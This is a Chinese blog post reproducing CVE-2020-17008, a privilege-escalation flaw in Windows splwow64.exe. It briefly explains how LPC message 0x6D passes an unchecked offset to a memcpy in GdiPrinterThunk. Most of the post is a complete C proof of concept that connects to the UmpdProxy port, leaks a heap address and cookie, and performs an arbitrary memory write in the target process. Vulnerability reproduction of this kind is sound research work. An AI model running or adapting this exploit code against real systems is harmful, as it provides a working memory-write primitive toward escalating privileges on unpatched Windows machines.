SPLWOW64权限提升漏洞(CVE-2020-17008)复现

漏洞描述

Splwow64过于信任LPC传递的数据,并且在消息0x6D中使用了请求发起者的偏移量且没有进行有效的验证,Splwow64将LPC消息传递给GdiPrinterThunk。导致执行可控制的memcpy函数任意地址写。

漏洞原理

触发任意地址写入的调用栈

 

通过 “\\RPC Control\\UmpdProxy_%x_%x_%x_%x “, 会话ID, 令牌认证ID 低位,令牌认证ID 高位,0x200 构造出通信LPC名称并进行链接。

通过发送6A消息打开该打印机

 

由于任意地址写是在当前堆基地址之上,我们输入的是偏移。

所以接着发送带有漏洞的6D消息在当前堆数据内泄露出当前堆基地址,随后通过减去基地址,从而获得任意地址写入。

含有漏洞的消息6D的数据结构:

随后这个消息通过LPC传入SPLWOW64.exe,将输入输出缓冲区传入了庞大的API——GdiPrinterThunk,GdiPrinterThunk中存在一个memcpy,参数来自于输入输出缓冲区。

 

漏洞复现

 

POC

标注: 官方POC在GetPortName中使用RtlInitUnicodeString来初始化UNICODE_STRING 时出现了一个问题:使用局部变量dst来对外部传入的PUNICODE_STRING 赋值,这可能导致函数退出时栈被释放后被其他函数修改,从而导致使用该变量的函数调用失败。[ RtlInitUnicodeString 函数原型见页面底部 ]

#include <stdio.h>
#include <windows.h>
#include <Shlwapi.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")

typedef struct _PORT_VIEW
{
    UINT64 Length;
    HANDLE SectionHandle;
    UINT64 SectionOffset;
    UINT64 ViewSize;
    UCHAR* ViewBase;
    UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;

PORT_VIEW ClientView;

typedef struct _PORT_MESSAGE_HEADER {
    USHORT DataSize;
    USHORT MessageSize;
    USHORT MessageType;
    USHORT VirtualRangesOffset;
    CLIENT_ID ClientId;
    UINT64 MessageId;
    UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;

typedef struct _PORT_MESSAGE {
    PORT_MESSAGE_HEADER MessageHeader;
    UINT64 MsgSendLen;
    UINT64 PtrMsgSend;
    UINT64 MsgReplyLen;
    UINT64 PtrMsgReply;
    UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;

PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;

NTSTATUS(NTAPI* NtOpenProcessToken)(
    _In_ HANDLE ProcessHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _Out_ PHANDLE TokenHandle
    );

NTSTATUS(NTAPI* ZwQueryInformationToken)(
    _In_ HANDLE TokenHandle,
    _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
    _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
    _In_ ULONG TokenInformationLength,
    _Out_ PULONG ReturnLength
    );

NTSTATUS(NTAPI* NtCreateSection)(
    PHANDLE            SectionHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PLARGE_INTEGER     MaximumSize,
    ULONG              SectionPageProtection,
    ULONG              AllocationAttributes,
    HANDLE             FileHandle
    );

NTSTATUS(NTAPI* ZwSecureConnectPort)(
    _Out_ PHANDLE PortHandle,
    _In_ PUNICODE_STRING PortName,
    _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
    _Inout_opt_ PPORT_VIEW ClientView,
    _In_opt_ PSID Sid,
    _Inout_opt_ PVOID ServerView,
    _Out_opt_ PULONG MaxMessageLength,
    _Inout_opt_ PVOID ConnectionInformation,
    _Inout_opt_ PULONG ConnectionInformationLength
    );

NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
    IN HANDLE PortHandle,
    IN PPORT_MESSAGE LpcRequest,
    OUT PPORT_MESSAGE LpcReply
    );


void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress);

int Init()
{
    HMODULE ntdll = GetModuleHandleA("ntdll");

    printf("ntdll = 0x%p\n", (void*)ntdll);

    NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
    if (NtOpenProcessToken == NULL)
    {
        printf("Failed to get NtOpenProcessToken\n");
        return 0;
    }

    ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
    if (ZwQueryInformationToken == NULL)
    {
        printf("Failed to get ZwQueryInformationToken\n");
        return 0;
    }

    NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
    if (NtCreateSection == NULL)
    {
        printf("Failed to get NtCreateSection\n");
        return 0;
    }

    ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
    if (ZwSecureConnectPort == NULL)
    {
        printf("Failed to get ZwSecureConnectPort\n");
        return 0;
    }

    NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
    if (NtRequestWaitReplyPort == NULL)
    {
        printf("Failed to get NtRequestWaitReplyPort\n");
        return 0;
    }

    return 1;
}

WCHAR dst[256];
int GetPortName(PUNICODE_STRING DestinationString)
{
    void* tokenHandle;
    DWORD sessionId;
    ULONG length;

    TOKEN_STATISTICS tokenInformation;

    memset(&tokenInformation, 0, sizeof(tokenInformation));
    ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);

    memset(dst, 0, sizeof(dst));

    if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
        || ZwQueryInformationToken(tokenHandle, TokenStatistics, &tokenInformation, sizeof(tokenInformation), &length))
    {
        return 0;
    }
    wsprintfW(
        dst,
        L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
        sessionId,
        tokenInformation.AuthenticationId.LowPart,
        tokenInformation.AuthenticationId.HighPart,
        0x2000);
    printf("name: %ls\n", dst);
    RtlInitUnicodeString(DestinationString, dst);

    return 1;
}

HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
    HANDLE sectionHandle = 0;
    HANDLE portHandle = 0;
    union _LARGE_INTEGER maximumSize;
    maximumSize.QuadPart = 0x20000;

    if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
        printf("failed on NtCreateSection\n");
        return 0;
    }
    if (sectionHandle)
    {
        ClientView.SectionHandle = sectionHandle;
        ClientView.Length = 0x30;
        ClientView.ViewSize = 0x9000;
        int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
        if (retval) {
            printf("Failed on ZwSecureConnectPort: 0x%x\n", retval);
            return 0;
        }
    }

    return portHandle;
}

PVOID Prepare0x6AMessage()
{
    const wchar_t* printerName = L"Microsoft XPS Document Writer";
    memset(&LpcRequest, 0, sizeof(LpcRequest));
    LpcRequest.MessageHeader.DataSize = 0x20;
    LpcRequest.MessageHeader.MessageSize = 0x48;

    LpcRequest.MsgSendLen = 0x300;
    LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
    LpcRequest.MsgReplyLen = 0x10;
    LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x140;
    printf("PtrMsgReply: 0x%I64x\n", LpcRequest.PtrMsgReply);
    memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
    memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));

    *(UINT64*)ClientView.ViewBase = 0x6A00000000; //Msg Type (OpenPrinter)
    *((UINT64*)ClientView.ViewBase + 0x3) = 0x100; // Offset to pointer to Printer Name 
    *((UINT64*)ClientView.ViewBase + 0x4) = 0x00; //Printer defaults to OpenPrinter
    *((UINT64*)ClientView.ViewBase + 0x8) = 0x00;
    *((UINT64*)ClientView.ViewBase + 0x7) = 0x500000005; // Args 2 & 3 to bAddPrinterHandle

    memcpy(ClientView.ViewBase + 0x100, printerName, 0x3C);
    printf("ClientView: 0x%I64x/0x%p, 0x%p: %S\n", (UINT64)ClientView.ViewBase, ClientView.ViewRemoteBase, (ClientView.ViewBase + 0x100), (LPWSTR)(ClientView.ViewBase + 0x100));
    *((UINT64*)ClientView.ViewBase + 0x10) = 0x41414141;
    return ClientView.ViewBase;
}

PVOID Prepare0x6DMessage_GetPoolAddr(UINT64 cookie, UINT64 heapAddress)
{

    memset(&LpcRequest, 0, sizeof(LpcRequest));
    LpcRequest.MessageHeader.DataSize = 0x20;
    LpcRequest.MessageHeader.MessageSize = 0x48;

    LpcRequest.MsgSendLen = 0x300;
    LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
    LpcRequest.MsgReplyLen = 0x10;
    LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;

    memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
    memset(ClientView.ViewBase, 0, 0x300);

    *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
    *((UINT64*)ClientView.ViewBase + 3) = cookie;
    *((UINT64*)ClientView.ViewBase + 4) = 0x500000005;  // 2nd arg to FindPrinterHandle
    *((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn
    //0x40
    *((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET-  pvIn
    *((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut
    //0x200
    *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
    //0x100
    *((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here 
    //0x110
    *((UINT64*)ClientView.ViewBase + 0x22) = 0;
    //0x150
    *((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200;
    //0x250
    *((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to

    *((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
    *((UINT64*)ClientView.ViewBase + 0x40) = 0x4242424242424242;
    *((UINT64*)ClientView.ViewBase + 0xA) = 0x40; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
    *((WORD*)ClientView.ViewBase + 0xA2) = (WORD)0x04;
    *((WORD*)ClientView.ViewBase + 0xA3) = (WORD)0x04;
    *((UINT64*)ClientView.ViewBase + 0xB) = 0x250; //Destination of memcpy
    *((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to

    return ClientView.ViewBase;
}

HANDLE g_portHandle;

int main()
{
    printf("Start\n");
    Init();                 //初始化所用的库函数
    printf("Init done\n");

    CHAR Path[0x100];


    GetCurrentDirectoryA(sizeof(Path), Path);
    printf("%s\n", Path);
    PathAppendA(Path, "CreateDC.exe"); // CreateDCA("Microsoft XPS Document Writer", "Microsoft XPS Document Writer", NULL, NULL);
    printf("%s\n", Path);

    if (!(PathFileExistsA(Path)))
    {
        printf("CreateDC.exe 不存在\n");
        return 0;
    }
    WinExec(Path, 0);       //拉起 splwow64.exe

    CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);

    printf("现在你可以使用调试器挂接splwow64.exe. 输入[回车]继续:");
    fflush(stdout);
    getchar();

    printf("获得端口名称\n");

    UNICODE_STRING portName;
    if (!GetPortName(&portName))
    {
        printf("获得端口名称失败\n");
        return 0;
    }

    printf("创建端口. \n");

    g_portHandle = CreatePortSharedBuffer(&portName);
    if (!(g_portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
    {
        printf("portHandle = 0x%p && ClientView.ViewBase = 0x%p && ClientView.ViewRemoteBase = 0x%p\n", g_portHandle, ClientView.ViewBase, ClientView.ViewRemoteBase);
        return 0;
    }

    printf("填充 0x6A 消息 - OpenPrinter\n");

    Prepare0x6AMessage();

    if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
        printf("写入 0x6A 消息失败\n");
        exit(1);
    }

    printf("写入 0x6A 消息成功!\n");

    UINT64 cookie = *((UINT64*)ClientView.ViewBase + 0x28);
    printf("Cookie: 0x%llx\n", cookie);

    printf("填充 0x6D 消息 (获得堆地址) - DocumentEvent\n");
    Prepare0x6DMessage_GetPoolAddr(cookie, 0);

    /*第一次触发memcpy泄漏堆地址以获取偏移量*/
    if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
        printf("写入 0x6D 消息失败\n");
        exit(1);
    }

    UINT64 heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40;
    printf("输出: 0x%I64x, 堆地址: 0x%I64x\n", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);
    
    printf("填充 0x6D 消息 (获得堆地址) - DocumentEvent\n");
    Prepare0x6DMessage_GetPoolAddr(cookie, 0);

    /*第一次触发memcpy泄漏堆地址以获取偏移量*/
    if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
        printf("写入 0x6D 消息失败\n");
        exit(1);
    }

    heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40;
    printf("输出: 0x%I64x, 堆地址: 0x%I64x\n", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);

    printf("填充 0x6D 消息(写入数据0x55aa55aa55aa55aa 至 0x55555555地址) - DocumentEvent\n");

    WriteMemory(0x55555555, 0x55aa55aa55aa55aa, cookie, heapAddress);
    printf("完成\n");

    return 0;
}

void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress)
{
    memset(&LpcRequest, 0, sizeof(LpcRequest));
    LpcRequest.MessageHeader.DataSize = 0x20;
    LpcRequest.MessageHeader.MessageSize = 0x48;

    LpcRequest.MsgSendLen = 0x300;
    LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
    LpcRequest.MsgReplyLen = 0x10;
    LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;

    memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
    memset(ClientView.ViewBase, 0, 0x300);

    *(UINT64*)ClientView.ViewBase = 0x6D00000000; //消息类型(Document Event)
    *((UINT64*)ClientView.ViewBase + 3) = cookie;
    *((UINT64*)ClientView.ViewBase + 4) = 0x500000005;  // 第二个参数:FindPrinterHandle
    *((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn
    //0x40
    *((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET-  pvIn
    *((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut
    //0x200
    *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
    //0x100
    *((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here 
    //0x110
    *((UINT64*)ClientView.ViewBase + 0x22) = 0;
    //0x150
    *((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200;
    //0x250
    *((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to

    *((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
    *((UINT64*)ClientView.ViewBase + 0x40) = Data; //欲写入的数据
    *((UINT64*)ClientView.ViewBase + 0xB) = WriteAddr - heapAddress; //目标内存地址
    *((WORD*)ClientView.ViewBase + 0x122) = (WORD)0x04;
    *((WORD*)ClientView.ViewBase + 0x123) = (WORD)0x04;

    if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
        printf("写入0x6D 消息失败\n");
    }
}

 

RtlInitUnicodeString函数原型:

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/111715566